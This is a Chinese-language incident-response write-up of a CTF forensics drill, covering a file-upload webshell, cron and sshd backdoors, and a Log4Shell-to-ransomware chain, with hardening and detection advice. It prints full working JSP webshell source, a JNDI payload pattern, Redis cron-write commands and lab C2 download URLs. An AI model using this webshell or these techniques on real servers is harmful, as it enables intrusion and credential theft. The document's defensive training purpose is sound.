httpContent-Disposition: form-data; name="avatar"; filename="1.jsp" Content-Type: image/jpeg ← 伪装成图片
关键点:服务器上落地的是随机名(一个看不出规律的长文件名)。"原始文件名"只存在于流量里 —— 文件系统上的名字 ≠ 用户上传时的名字。
取证要点:题目问的"名字"要分清是哪一种 —— 原始名(multipart 的
filename=)、落地名(文件系统)、对外 URL 名(Web 路径)。三者是三个不同的东西。
| 关卡 | 正确做法 | 本题的实现 | 结果 |
|---|---|---|---|
| 认证 | 有效会话 | JWT 校验通过 | 过了 |
| 授权 | 服务端判断"这个用户能不能上传" | token 里 root=0(普通用户) | 拦住了 |
| 文件类型 | 扩展名白名单 + 内容嗅探 | 只看了 Content-Type | 被绕过 |
一个重要观察:上传被拒时服务器返回的是明确的拒绝信息 —— 说明授权检查是有效的,攻击者是靠"拿到更高权限的 token"(1.6 的缺陷)越过的,不是靠绕过类型检查。
为什么只校验 Content-Type 等于不校验:那只是客户端在 multipart 头里自己写的字符串,改一下就行。正确做法是读文件内容的魔数(FF D8 FF = JPEG、89 50 4E 47 = PNG),或者用图片库尝试解码,能解码成功才算图片。
加固(上传的标准防线):① 扩展名白名单且忽略客户端提交的类型;② 内容嗅探(魔数/试解码);③ 重命名,丢弃用户提供的文件名与扩展名;④ 存到 Web 根之外,通过专门的下载接口读取;⑤ 上传目录禁止脚本解析;⑥ 图片二次编码,彻底摧毁夹带代码。
检测:上传目录出现脚本扩展名(.jsp/.php/.aspx)的实时告警;Content-Type 与实际文件魔数不一致。
从上传的请求体里能把 webshell 的原始 JSP 源码完整捞出来(服务器上只有随机名,源码只在流量里):
jsp<%!class U extends ClassLoader{
U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}
}%>
<%
if (request.getParameter("Libai")!=null){
String k=(""+UUID.randomUUID()).replace("-","").substring(16);
session.putValue("u",k);
out.print(k);
return;
}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
new U(this.getClass().getClassLoader())
.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
%>
逐段解读:
| 代码 | 含义 |
|---|---|
class U extends ClassLoader + defineClass | 从内存字节码定义类 —— 载荷不落地到磁盘,是"无文件"技术 |
getParameter("Libai") | 参数名就是密码(Q7 的答案)。注意大小写敏感,写错握手不会触发 |
UUID...substring(16) | 生成 16 字符随机数 —— AES-128 需要 16 字节密钥 |
session.putValue("u", k) | 密钥存在 session 里(不在 cookie、不在磁盘) |
out.print(k) | 把密钥明文返回给客户端 —— 这就是握手 |
Cipher.getInstance("AES") | Java 默认模式就是 ECB(AES/ECB/PKCS5Padding) |
c.init(2, ...) | 2 = 解密模式 |
decodeBuffer(request.getReader().readLine()) | 请求体是 base64 编码的密文 |
.newInstance().equals(pageContext) | 反射调用载荷类,用 equals 触发执行(巧妙的触发点) |
加固:删除 webshell;Web 目录完整性监控(新增 .jsp 立即告警);Java 应用侧对动态类加载做监控(RASP / javaagent 挂钩 defineClass)。
检测(这组特征极干净):响应体以 cafebabe 开头(Java class 魔数,误报率极低,强烈建议在 WAF/代理层做);请求体是 base64 且长度是 16 的倍数;固定参数名 + 16 位随机返回值的握手模式;磁盘上只有"加载器"而没有载荷。
客户端 ── GET /<shell>.jsp?Libai=<值> ──→ 服务端 客户端 ←── <16 字符明文密钥> ──────────── 服务端 (此后所有请求都用这把密钥加解密)
关键发现:同一把密钥跨 TCP 流复用。 原因:密钥存在服务端的 HTTP session 里,而 HTTP/1.1 的多个请求可能落在不同 TCP 连接上,但 session 是同一个。
对蓝队的意义:同一把密钥出现在多条 TCP 流里,是"Web 层会话"而不是"TCP 层会话"的强特征。 关联分析时应按密钥归并攻击者行为,而不是按 TCP 连接。
最重要的坑:请求和响应的编码方式不对称 —— 请求体是 base64,响应体是裸二进制。分析加密流量时不要假设两边用同一种编码,先把两边分别 dump 成二进制看特征再决定怎么解。
解密出来是 Java .class 字节码(魔数 cafebabe)。而 Java class 的常量池里字符串是明文存放的 —— 所以攻击者执行了什么命令,strings 就能看到。
按模块名统计能看出攻击者用了哪些功能:
payload/java/Cmd ← 命令执行 payload/java/ConnectBack ← 反弹 shell payload/java/FileOperation ← 文件管理 payload/java/BasicInfo ← 连上后自动发的"基本信息"(不是命令)
Q8 的答案(cat /etc/passwd —— 查系统账号,拿 shell 后最典型的第一步)就直接躺在常量池里。
只解密第一条 TCP 流,会得出"攻击者只用了文件管理功能、没有执行过命令"的错误结论 —— 因为第一条流里确实只有 BasicInfo 和 FileOperation。
必须把所有含 webshell 请求的流全部枚举出来再统计,才能看到 Cmd 和 ConnectBack。
教训:取证时"样本不足"会直接导致结论错误。先把全集枚举出来,再下判断。
同 1.8。补充一条:统计攻击者用过的模块(Cmd / ConnectBack / FileOperation)能还原攻击意图,比单看某一条命令更有价值 —— 出现 ConnectBack 就意味着还有后续的反弹 shell 要查。
方法:看服务器的主动外连 —— 按目标端口统计第一次 SYN 的分布,一眼分清人工操作和定时任务。
| 目标端口 | 次数 | 判断 |
|---|---|---|
| 4444 | 1 次 | 人工操作的第一次反弹 shell(Q9 的答案) |
| 8080 | 几十次(每分钟一次) | cron 后门的心跳 |
次数分布本身就是情报:1 次 = 人工;几十次 = 定时任务。
/etc/crontab 里被塞了一条每分钟执行的反弹 shell,回连 202.0.1.130:8080。文件 mtime 就是写入时刻,与流量里的时间能互相印证。
这条后门是明文 bash(不走加密通道),所以命令在流量里可读。答案是 rpm -qa | grep pam —— 查系统装了哪些 PAM 包。
为什么第一条命令是查 PAM:这是在为本地提权做准备(PAM 是 Linux 认证模块,与"改口令/绕过认证"直接相关)。攻击者的命令序列本身就在讲述他的意图 —— 从
cat /etc/passwd到rpm -qa | grep pam,路线是"看账号 → 找认证弱点"。
一个判据:明文通道 + 多会话的流量里,要挑包数最多的那条会话看 —— 那才是攻击者真正交互的会话(其余多是每分钟一次的空白会话)。
加固:/etc/crontab 与 cron 目录的完整性监控;出站连接白名单(应用服务器不应主动连任意端口)。
检测:受害机的异常主动外连(后门最强特征);固定周期(60s)的规律性连接是心跳后门的典型特征;明文反弹 shell 在流量里可见(/dev/tcp、bash -i)。
访问日志里能看到攻击者下载了 /static/ 下的一个文件(Q12 的答案)。这个文件的内容是 base64,解码后与 0x11 逐字节异或才得到明文(Q13)。
0x11 —— 已知明文攻击(KPA)密文前 5 字节: 77 7d 70 76 6a 明文前 5 字节: 66 6c 61 67 7b (f l a g {) 异或: 11 11 11 11 11 ← 密钥 = 0x11,五个字节全一致
已知明文攻击的思路极其通用:任何有固定格式的数据都能直接泄露密钥流 —— flag、JSON({")、XML(<?xml)、HTTP(GET /)、图片头(FF D8 FF)……
另一个判据是长度自洽:38 字节 = flag{(5) + 32 位十六进制 + }(1) —— 长度对得上,强烈提示明文是 flag。
加固:不要用异或当加密(那是编码不是加密);敏感文件不要放在 Web 目录下(本例直接在 /static/ 下 HTTP 可下);下载接口加认证与授权。
检测:Web 目录下敏感文件的访问;从 /static/ 这类静态目录下载非常规扩展名文件。
rpm -VRPM 系的完整性校验(Debian 系对应 debsums):
S.5....T. /usr/sbin/sshd S.5....T. /usr/bin/ssh ...
| 字符 | 含义 |
|---|---|
S | Size 不同 |
5 | MD5 校验和不同 |
T | mtime 不同 |
U/G | 属主 / 属组不同 |
M | 权限不同 |
Size 和 MD5 同时变化 = 文件内容被替换(不只是权限或时间戳被动过)。被篡改的是整个 SSH 套件:ssh、scp、sftp、ssh-add、ssh-keygen、ssh-agent、sshd、ssh-keysign —— 而且是用目标机同版本的编译器本地重编译的。
rpm -V是主机取证中性价比最高的一条命令:不需要基线库、不需要事先准备,直接就能发现"系统文件被动过"。很多入侵排查漏掉 rootkit,就是因为没跑这一条。
strings 找"不该出现的字符串"判据不是"这个字符串看着可疑",而是**"原版程序里不会有这个字符串"**:
haomima ← 后门万能密码(Q19 的答案) /tmp/... ← 口令记录文件(3 个点) user:password --> %s:%s ← 记录格式串
万能密码的实现原理:在口令校验函数里插入短路判断,只要口令等于那个固定串就直接返回"认证成功",绕过 PAM(系统真正的认证模块根本不会被调用)。
这解释了蓝队最困惑的现象:日志里有 "Accepted password",但口令可能是错的 —— 因为认证被短路了,日志记录的是"结果"而不是"真实校验"。"日志显示登录成功"不等于"口令正确"。
strings 能看到有 /tmp/... 这样的路径,但看不到它是哪个文件、由谁写。怎么确定?—— 反汇编 + ELF 偏移换算。
第一步:拿字符串的"文件偏移"(strings -t x 会给出偏移):
4c788 user:password@host --> %s:%s@%s
第二步:反汇编,找谁引用了它:
asmmov $0x4483f0,%esi ; fopen 的第 2 个参数 = mode mov $0x44c300,%edi ; fopen 的第 1 个参数 = path ← 路径在这里 callq fopen mov $0x44c788,%esi ; fprintf 的参数 = 格式串 callq fprintf callq fclose
看到 fopen + fprintf + fclose 三连,就确认了"打开文件 → 写记录 → 关闭"的日志写入逻辑。
第三步:理解 ELF 的地址映射。 strings 报的偏移是 0x4c788,而指令里的地址是 0x44c788 —— 差 0x400000。这是 ELF 加载时的段基址:
虚拟地址(VA) = 文件偏移 + 段基址 0x44c788 = 0x4c788 + 0x400000
想知道某个地址在文件里的位置,减去 0x400000 即可。
第四步:读原始字节。 在 0x4c300 处 dump:
004c2f8: 726f 723a 0a25 7300 2f74 6d70 2f2e 2e2e ror:.%s./tmp/... 004c308: 2e00 ... .-input_
拆解:72 6f 72 3a 0a 25 73 00 = ror:\n%s\0(上一个字符串的尾巴),接着 2f 74 6d 70 2f 2e 2e 2e 2e 00 = /tmp/.... —— /tmp/ 加 4 个 0x2E(点)。
这是本场景最硬的一条经验: 当字符串被读错、或被刻意混淆时,字节是唯一的真相来源。 攻击者用了两个视觉上极相似的文件名(3 个点和 4 个点),就是反取证设计 —— 肉眼极可能数错,而
xxd出来的2e 2e 2e 2e是四个字节,没有歧义。
| 位置 | 记录文件 | 格式串 | 方向 |
|---|---|---|---|
/usr/bin/ssh | /tmp/....(4 点) | user:password@host --> %s:%s@%s | 本机 SSH 出去时记录 |
/usr/sbin/sshd | /tmp/...(3 点) | user:password --> %s:%s | 别人 SSH 进来时记录 |
这是"双向窃取凭据"的完整设计:
sshd → 记录所有登录进来的用户名口令(收集内网凭据,用于横向)ssh → 记录管理员从这台机器登录别处用的口令(跳板凭据,价值更高)Q20 问的是 ssh 那一半(题目措辞是"SSH 口令记录文件"),所以答案是 4 个点那个。读题时要想清楚问的是哪一半。
那个记录文件里是几十行格式相同的记录,全部是同一个账号口令 —— 也就是说,攻击者自己的"战利品清单"就躺在系统里。
教学点:攻击者的工具往往是最好的情报来源。 应急响应不只是"清理后门",还要从攻击者留下的东西里读出他做了什么、偷了什么、用了什么口令 —— 这些直接决定了后续要轮换哪些凭据。
加固:rpm -V / AIDE 纳入日常巡检并基线化;关键二进制做文件完整性监控;开启 IMA 或 SELinux 完整性策略;改用证书/硬件密钥认证(让窃取口令失去价值);PermitRootLogin prohibit-password。
检测:/tmp 下非常规命名的隐藏文件;auditd 监控 ssh/sshd 的写入;"登录成功但 PAM 无对应记录"(认证绕过的强信号);定期 rpm -Va 全量校验。
这五题共 550 分,当时没有提交。把判断过程和正确路径写清楚。
卡点:这个信息在冰蝎 BasicInfo 载荷的服务端响应里(响应是裸二进制 AES + GB2312 编码)。当时只解了请求方向,没有把响应体也解出来。
线索:Tomcat 进程以某个低权用户运行(ps -eo user,args 能看到)。但**"Web 进程的用户"和"webshell 执行命令时的权限"要分开确认** —— 后者要看 BasicInfo 响应里的 user.name、os.name 等字段。
正确路径:把该会话所有服务端 → 客户端的裸二进制响应解密(注意响应不经过 base64),在里面找
user.name/whoami的输出。
卡点:口径歧义。 这是"数不清"的典型 —— 同一份访问日志能算出好几个不同的"次数":
| 口径 | 数值 |
|---|---|
| 全天总请求行数 | 2655 |
| 其中 404 的行数 | 2596 |
| 攻击 IP 发起的请求数 | 2652 |
| 其中 404 的 | 2594 |
| 某小时的请求数 | 2604 |
| 某个滚动窗口内的请求数 | 2187(404 为 2177) |
| 每分钟的速率 | 约 115 次/分,持续约 22 分钟 |
试提交过多个数值都不对 —— 说明题目问的口径和"日志行数"不是一回事。
当时踩的一个技术坑:用 grep -c 404 统计会把响应体长度恰好含 404 的行也算进去 —— 应该匹配带分隔符的字段(" 404 "),而不是裸的 404。
正确路径:把每种口径都算出来列成表(总请求 / 404 / 特定 UA / 特定时间窗 / 去重后的路径个数),逐一对齐题意。"爆破路径的次数"很可能是"尝试了多少个不同的路径",而不是"发了多少个请求"。
顺带一条给蓝队的经验:404 占比 97.7% 本身就是入侵的强特征。正常业务不会产生这种分布 —— "短时间内单 IP 高比例 404"应该直接告警。
试过并排除:/etc/shadow、/usr/bin/passwd、/bin/sed、/usr/bin/openssl、/etc/pam.d/passwd、/usr/sbin/chpasswd、/usr/bin/vi。
已知事实:/var/log/secure 里有一条 passwd: pam_unix(passwd:chauthtok): password changed for root,发生在图形终端(tty1)上 —— 攻击者是用 passwd 命令交互式改的,不是用脚本改文件。
正确路径:题目问"通过什么文件",那就要找改密行为实际写入的文件。注意"备份文件"这条线索 —— /etc/shadow- 是 shadow 的备份,它的 mtime 与改密时刻对应,说明改密流程确实动过它。也可能指向 /etc/pam.d/ 下的某个配置。
当时的判断:用哈希爆破撞出了口令,就认为这是"黑客设置的 root 密码"。
为什么是错的:/etc/shadow 与 /etc/shadow- 的对比显示 —— root 的哈希从未变化。
这是本场景最有价值的一条教训: 值匹配不等于来源匹配。 哈希撞出密码、字符串检索命中关键词、二进制里出现目标字节序列 —— 这三类"命中"都只说明值存在,不说明它属于当前题目、或它是在题目所问的时间点被设置的。
那个口令是这台机器本来就有的(镜像构建时就设好的),跟攻击者无关。下结论前必须找反证 —— 对比一份备份文件往往比再追一条证据快得多。
正确路径:去攻击者的命令记录里找改密动作(webshell 的命令载荷、反弹 shell 的会话内容)。改密命令(如把 root:新口令 交给 chpasswd)会留下明文。先找"设定的动作",而不是先爆"当前的哈希"。
卡点:全盘 SUID 枚举出来只有 22 个标准项,看不出多出来的是哪个。
为什么难:这台机器的镜像本身就是案发当天构建的 —— 大量系统文件的 mtime 都落在"案发日",用时间筛会得到一堆假阳性(环境安装脚本也会被算进来)。
教学点:时间戳会被污染,不能单靠 mtime 判断是否被篡改。 正确的判据是内容与归属:
bash# 找出不属于任何软件包的 SUID 文件(最可靠的判据) for f in $(find / -xdev -perm -4000 -type f); do rpm -qf "$f" || echo "NOT OWNED: $f"; done正常系统里 SUID 文件都应该属于某个包;"不属于任何包"的 SUID 文件基本可以确定是人加上去的。
正确路径:答案大概率在未读的命令载荷里(chmod u+s <文件>)。冰蝎的 Cmd 载荷解密后应该能找到。
一个可参考的藏匿手法:本演练的另一组在同类题目里找到的 SUID 后门放在
/usr/local/bin/下、以点开头伪装成系统文件 —— 点开头的文件在ls里默认不显示,这是很常见的藏匿方式。排查时加-a(ls -la)或用find -name ".*"。
| 层次 | 加固 | 检测 |
|---|---|---|
| 移动端 | 口令只服务端校验;不用自造加密;密钥进 Keystore | APK 硬编码凭据扫描(CI 阶段) |
| 认证授权 | 权限取服务端会话;签名密钥强随机、定期轮换 | JWT 载荷不出现权限字段;同密钥 token 权限突变告警 |
| 文件上传 | 扩展名白名单 + 内容嗅探 + 重命名 + 存 Web 根外 + 禁执行 | 上传目录新增脚本告警;Content-Type 与魔数不一致 |
| Web 容器 | 删除 webshell;Web 目录完整性监控 | 响应体 cafebabe 魔数;base64 长度 16 倍数;固定参数握手 |
| 主机持久化 | cron/计划任务完整性;/tmp noexec | /etc/crontab 写入告警;/tmp 下脚本文件;固定 60s 周期外连 |
| 系统二进制 | rpm -V 巡检基线化;FIM;改用证书认证 | 登录成功但 PAM 无记录;rpm -Va 全量校验;/tmp 隐藏文件 |
| 账号口令 | 口令不落明文文件;凭据定期轮换 | /etc/shadow 与备份 diff;UID 唯一性 |
域环境 corp.local,防守方视角,该组最终满分。
| 主机 | 地址 | 角色 |
|---|---|---|
| WEB-DMZ | 10.0.10.10 / 10.0.20.10 | 对外 OA,双网卡网关 —— 攻击入口 |
| DB-SRV | 10.0.20.20 | MySQL + Redis |
| DC-FILE | 10.0.20.30 | 域控 / 文件服务器 —— 横向目标,勒索现场 |
| PC-HR | 10.0.20.40 | 办公终端 —— 钓鱼投递点 |
| EVIDENCE | 10.0.20.50 | 取证工作站,全量流量包 |
| YJ-kali | 10.0.10.200 | 攻击者主机,载荷投递与后门监听 |
Log4Shell 打穿对外的 OA(WEB-DMZ) → 下载并执行 stage.sh,获得 Web 权限 → 本地提权 + 加后门账号 + systemd 持久化 + 心跳回连 → 用窃取的口令横向到 DB-SRV(Redis 未授权写 cron、MySQL 加后门账号、打包外传数据) → 继续横向到 DC-FILE(域账号横向登录 + Windows 后门) → 对 PC-HR 投递钓鱼邮件 → 宏下载远控 → 注册表持久化 → 最终在 DC-FILE 上执行勒索
两条方法论(本场景最省时间的经验):
stage.sh 一个文件里同时包含 C2 地址、systemd 服务名、后门账号与口令;DB-SRV 侧的脚本覆盖 Redis 配置项、计划任务路径、MySQL 后门账号口令、外传压缩包名。通读遗留物,效率远高于按题号顺序一条条查。ls -la 的属主列能指出入口。 stage.sh 的属主是跑 Web 应用的用户而不是 root → 攻击者当时持有的是 Web 权限 → 入侵起点在 Web 应用。一条命令就能确定方向。| 题 | 题目 | 答案 | 详解 |
|---|---|---|---|
| #21 | 攻击源 IP | 10.0.10.100(另有 10.0.10.200 作为 C2,需按方向区分) | 2.14 |
| #22 | 被攻击服务的监听地址 | 10.0.10.10:8080 | 2.14 |
| #23 | 存在漏洞的组件版本号 | 2.14.1(log4j-core-2.14.1.jar) | 2.4 |
| #24 | JNDI 注入第一条命令 | id | 2.5 |
| #25 | LDAP 地址 | 10.0.10.200:1389 | 2.5 |
| #26 | 最先下载的脚本 URL | http://10.0.10.200:8080/stage.sh | 2.5 |
| #27 | 数据外传的 HTTP 接口路径 | /upload.php | 2.7 |
| #28 | 最先下载脚本的绝对路径与最后修改时间 | /tmp/stage.sh,19:32 | 2.7 |
| #29 | SSH 免密后门密钥被成功登录的次数 | 5 | 2.14 |
| #30 | 新增后门用户名与 UID | sysadm,UID 0 | 2.6 |
| #31 | 后门账号密码 | Sys@Lab#Adm | 2.6 |
| #32 | 开机自启持久化项名称 | sys-health.service | 2.6 |
| #33 | 隐藏后门 60 秒回连的完整 URL | http://10.0.10.200:8080/health | 2.6 |
| #34 | 配置文件里明文保存的数据库口令 | OaDb@Lab#7f3a | 2.7 |
| #35 | 内网扫描工具的版本号 | 2.1.2(Fscan) | 2.7 |
| #36 | 被关掉的 Redis 配置项 | rdbcompression | 2.8 |
| #37 | Redis 写入的计划任务文件路径 | /etc/cron.d/redis_sync | 2.8 |
| #38 | 计划任务后门回连 IP 与端口 | 10.0.10.200:4444 | 2.8 |
| #39 | 打包外传的压缩包文件名 | db_export_<日期>.tar.gz | 2.8 |
| #40 | MySQL 新增账号 | db_backup | 2.9 |
| #41 | MySQL 后门账号口令 | Db@Backup2026 | 2.9 |
| #42 | 横向登录账号 | svc_backup | 2.10 |
| #43 | 该账号最后登录时间 | 2026-09-22 20:11 | 2.10 |
| #44 | 后门账号加入的组 | 未记录 | 2.14 |
| #45 | Windows 计划任务名称 | 未记录 | 2.14 |
| #46 | Windows 后门程序路径 | 未记录 | 2.14 |
| #47 | Windows 后门回连 C2 | 10.0.10.200:8443 | 2.10 |
| #48 | 勒索程序文件名与后缀 | 未记录 | 2.11 |
| #49 | 勒索信与邮箱 | 未记录 | 2.11 |
| #50 | 勒索首次执行时间 | 未记录 | 2.11 |
| #51 | 钓鱼邮件发件人 | hr@corp-help.com | 2.12 |
| #52 | 钓鱼邮件附件名 | 季度考核通知.docm | 2.12 |
| #53 | 宏下载 URL | http://10.0.10.200:8080/helper.exe | 2.13 |
| #54 | 恶意程序落地路径 | C:\Users\hruser\AppData\Local\Temp\helper.exe | 2.13 |
| #55 | 注册表 Run 键名 | OneDriveUpdate | 2.13 |
| #56 | 钓鱼远控回连 C2 | 10.0.10.200:8443 | 2.13 |
答案是 2.14.1(在 OA 的 Java 依赖里找到 log4j-core-2.14.1.jar),落在 CVE-2021-44228(Log4Shell)的影响范围内。
排查方法:在 Java 应用的依赖目录(WEB-INF/lib/)里按文件名找 log4j-core-*.jar —— 版本号就写在文件名里,这是最快的一步。
| 题 | 答案 | 怎么得到的 |
|---|---|---|
| #24 第一条命令 | id | 攻击者载荷脚本里;也是验证 RCE 最经典的第一条命令 |
| #25 LDAP 地址 | 10.0.10.200:1389 | 流量里来自受害机的出站 LDAP 连接(1389 = LDAP 默认端口) |
| #26 最先下载的脚本 URL | http://10.0.10.200:8080/stage.sh | 流量里受害机向攻击机发起的 HTTP 下载 |
Log4j2 支持在日志内容里做变量替换,其中 ${jndi:...} 会被解析成一次 JNDI 查找:
${jndi:ldap://攻击者/恶意类}
调用链:用户可控的字符串被写进日志 → Log4j 解析 ${} → 触发 JNDI → 通过 LDAP/RMI 从外部拉取并加载一个 Java 类。于是"写日志"变成了"远程代码执行"。
关键细节:JNDI 远程类加载在高版本 JDK 上受 trustURLCodebase=false 限制 —— 所以实战中攻击者往往不走"直接加载远程类",而是利用目标本地的 gadget 链来绕过。
都不是"读日志读出来的",而是从受害机的出站流量里看出来的。 应急响应有个反复出现的规律 —— 攻击者对一台机器的操作,在这台机器的出站流量上留下最完整的痕迹。
加固:升级 Log4j 到 2.17.1+;无法升级时设 log4j2.formatMsgNoLookups=true 或移除 JndiLookup 类;出站侧阻断 LDAP/RMI 到非受信网段。
检测:请求参数里出现 ${jndi: 及其变形(${${lower:j}ndi: 等);应用进程发起 LDAP/RMI 连接;Java 进程启动子进程(id、whoami、curl、wget)。
攻击者新增了一个账号(口令 Sys@Lab#Adm)。UID 的取值是知识点:把它设成 0,意味着这个"新用户"在系统眼里等同于 root —— 比加入 sudo 组更隐蔽,因为 sudo 会留日志,而 UID 0 不会。
排查要点:查后门账号不能只看"有没有奇怪的用户名",要查 UID 的重复 —— 正常系统里 UID 应该唯一,出现第二个 UID 0 就是确凿的入侵痕迹。
攻击者装了 sys-health.service。伪装思路很清楚:起一个"系统健康检查"式的名字,混在正常的服务列表里。
检测:/etc/systemd/system/ 与 /lib/systemd/system/ 的目录基线;systemctl list-unit-files 的差异比对;journalctl -u <服务名> 看启动记录。
一个每 60 秒执行一次的隐藏后门,回连 http://10.0.10.200:8080/health。伪装思路同样是"看起来像健康检查" —— 用 /health 这种监控系统惯用的路径名。
判断 C2 不能只看 IP,要按"连接方向"区分:同一个攻击机 IP 上,8080 负责载荷投递与存活探测,8443 才是真正的回连(见 2.10)。受害机主动去取文件(下载)和受害机主动连回来(回连)是两件事。
加固:账号基线(UID 唯一性校验);定期比对 systemd unit 目录;计划任务与定时器审计。
检测:新增 UID 0 账号;非常规命名的 systemd 服务;固定周期(60s)的规律性出站连接(心跳后门最典型的网络特征);/health、/api/ping、/status 这类伪装成监控路径的出站请求。
这一节体现的是取证效率方法,比单个答案更值得记。
答案是 /tmp/stage.sh 与它的最后修改时间 19:32。判据链条:先看到受害机下载了 stage.sh,再看它在本地落到哪里、什么时候被写下来 —— 文件 mtime 与流量里的下载时刻互相印证。
这是应急响应的核心手法:多来源交叉验证。 流量说"发生了什么",文件系统说"留下了什么",日志说"谁做的" —— 三者时间吻合才能定案。
答案是 /upload.php。判据是"反常识"的:攻击者没有自己搭一个上传通道,而是用了目标自己的业务接口做数据外传。
为什么这样做:业务接口在防火墙上通常是放行的,流量看起来也是"正常的业务行为",比自建通道隐蔽得多。
可迁移的判据:排查数据外传时,除了看"可疑的外部地址",还要看正常业务接口的异常使用 —— 异常的时间、频率、大小、来源主机。本题里
/upload.php被"OA 服务器之外的主机"调用,这就是异常。
答案是 OaDb@Lab#7f3a,藏在 OA 应用的 WEB-INF/classes/db.properties 里 —— 口令是明文存的(真实环境里也非常普遍)。
校验细节:这类含特殊字符的口令要逐字节核对,因为从各种界面里读 #、4、a、A 这类字符极易看错。
答案是 2.1.2(Fscan)。做法:找到攻击者留在机器上的扫描工具,读它的版本号。
教学点:攻击者留下的工具本身就是情报。 工具版本能反推攻击者的准备程度、常用手法,甚至能关联到同一批工具的其他攻击活动(真实事件里这是威胁情报的重要来源)。
加固:配置口令不存明文(用密钥管理)或严格限制文件权限;/tmp 挂载 noexec。
检测:/tmp 下出现脚本文件(正常服务不会把脚本放 /tmp);业务接口的来源 IP 不在预期范围内;主机上出现扫描器特征。
rdbcompression这题的攻坚过程很值得学(当时在一堆候选里选错了两次):
dir。理由是 dir 决定计划任务落地的位置,看起来"是关键一步"。但题目问的是"关掉"—— dir 是被改写了,不是被关闭。CONFIG REWRITE 产生的追加段 —— 静态对比看不到运行时改动。rdbcompression 从 yes 改成了 no。为什么攻防双方都关心这一项:
rdbcompression控制 RDB 快照是否压缩。关掉压缩,RDB 文件里就是明文数据,攻击者可以直接读;开着则还需先解压。这是"为了方便取数据"而做的配置改动。两条通用教训: ① 读题要抠动词。 "关闭"和"改写"是两回事 —— 口径理解错了,后面全白做。 ② "文件没变"不等于"配置没被改"。 运行时修改只在流量(
CONFIG SET命令)和内存里,配置文件可能根本没变。
/etc/cron.d/redis_sync10.0.10.200:4444原理:Redis 未授权的经典利用姿势之一 —— 把数据目录和文件名改掉,然后让它"持久化"出一个文件:
CONFIG SET dir /etc/cron.d CONFIG SET dbfilename redis_sync SET x "\n* * * * * root <反弹shell命令>\n" BGSAVE
Redis 把内存里的内容写成了 /etc/cron.d/redis_sync —— 而 cron 会读它,一个"数据文件"变成了一个计划任务。
这个手法的通用性很高:本质是"让一个有写文件能力的服务,把内容写到高权限会执行的位置"。同类还有写 SSH
authorized_keys、写 Web 目录拿 webshell、写/var/spool/cron/。为什么选
/etc/cron.d/:这个目录里的文件不需要可执行权限、不需要重启 cron,只要格式对就会被加载 —— 比改 root 自己的 crontab 更省事。
db_export_<日期>.tar.gz —— 攻击者把数据库导出、打包,再从 #27 那个接口送出去。
加固:Redis 必须 requirepass + bind 127.0.0.1 + rename-command 禁掉 CONFIG/MODULE/SLAVEOF;以低权用户运行(这样即使能写文件也写不到 /etc)。
检测:CONFIG SET dir / CONFIG SET dbfilename / BGSAVE / SLAVEOF / MODULE LOAD 的调用审计;/etc/cron.d/ 完整性监控(新建文件立即告警);Redis 进程写文件到非数据目录。
db_backupDb@Backup2026(源记录里另有 Db@Backup#2026 的写法,提交时以计分口径为准 —— 这类含特殊字符的口令务必字节级核对。)
原理:攻击者拿到数据库权限后,第一件事是留一个自己的账号 —— 独立于应用账号,应用改口令也不影响他,而且可以用它从其他主机连进来做横向。
排查要点:
sqlSELECT user, host, authentication_string FROM mysql.user; -- 有哪些账号、从哪些主机能连
SHOW GRANTS FOR 'db_backup'@'%'; -- 有什么权限
关键判据是 host 字段:正常应用账号通常是 localhost 或特定内网 IP;后门账号往往是 %(任意主机)—— 因为攻击者要从别的地方连进来。
通用思路:找后门账号不要只看"名字奇怪不奇怪",要看它的权限范围和来源限制是否与业务角色匹配。一个叫
backup的账号如果有ALL PRIVILEGES且能从任意主机连,那就是后门。
加固与检测:mysql.user 定期基线比对;审计日志监控 CREATE USER、GRANT;数据库账号口令轮换。
svc_backup2026-09-22 20:1110.0.10.200:8443Windows 安全日志里的登录事件 ID 是取证核心:
| 事件 ID | 含义 | 用途 |
|---|---|---|
| 4624 | 登录成功 | 看登录类型:Type 3 = 网络(SMB/共享)、Type 10 = RDP |
| 4625 | 登录失败 | 爆破痕迹 |
| 4672 | 授予特殊特权 | 登录后拿到管理员权限 |
| 4634 | 注销 | 会话时长 |
判据组合:svc_backup 本身是服务账号(名字就写着 backup),而它出现了 Type 3 网络登录 —— 服务账号不应该交互式/网络登录,这就是异常。
可迁移的判据:找横向不要只看"谁登录了",要看这个账号的角色与它的登录方式是否匹配。服务账号做网络登录、普通用户登录域控、非工作时间登录 —— 这三类是最高频的横向信号。
同一个攻击机 IP 上,8080 和 8443 是两件不同的事:
当时因为 8080 同时出现在 PC-HR 的宏和 WEB-DMZ 的后门脚本里,就把它判成了 C2 —— 错了。题面用的词是"回连",这个措辞已经在提示连接方向。
正确的做法:按源地址分组统计建连。谁主动连谁、连到哪个端口,一统计就分清了"投递"和"回连"。
加固:服务账号口令定期轮换、限定登录来源与登录类型;域内禁用不必要的 NTLM;出站连接白名单。
检测:服务账号的网络登录(4624 Type 3);非工作时间登录;出站连接到非业务端口(8443/4444 等);同一外部 IP 同时出现在"下载"和"回连"两个方向。
这三题当时没有做出来,把掌握的线索和正确路径写下来。
题目问:勒索程序的文件名与加密后缀 / 勒索信内容与联系邮箱 / 首次执行时间。
勒索事件的通用取证痕迹(下次照这个清单走):
| 痕迹位置 | 内容 |
|---|---|
| 文件系统 | 被加密文件的后缀名、目录下的勒索信文本(通常每个目录一份) |
| 卷影副本 | vssadmin delete shadows 会清掉 —— 事件日志里能看到这条命令 |
| 事件日志 | 大量文件被改写;4697(服务安装)、7045(系统日志里的服务安装)常用于部署勒索载荷 |
| 计划任务 | 勒索程序常通过计划任务启动 |
| 进程 | 加密进程及其父进程链 |
| 时间线 | 最早被加密的文件 mtime ≈ 首次执行时间 |
尤其是"最早被加密文件的 mtime" —— 这几乎总是"首次执行时间"最可靠的答案来源(比日志更直接),因为加密是从某个时刻开始批量发生的。
加固:3-2-1 备份并离线保存(勒索最怕离线备份);卷影副本保护;限制 vssadmin 等工具的执行(ASR 规则);端点防护。
hr@corp-help.com季度考核通知.docm邮件里的附件叫 季度考核通知.docm,但它落盘后变成了 .docx(很多邮件客户端/预览机制的行为)。按桌面上的文件名提交,答案就是错的。
判据:题面问"附件名"时要取邮件头里的附件参数(
Content-Disposition的filename),而不是文件系统里的名字。
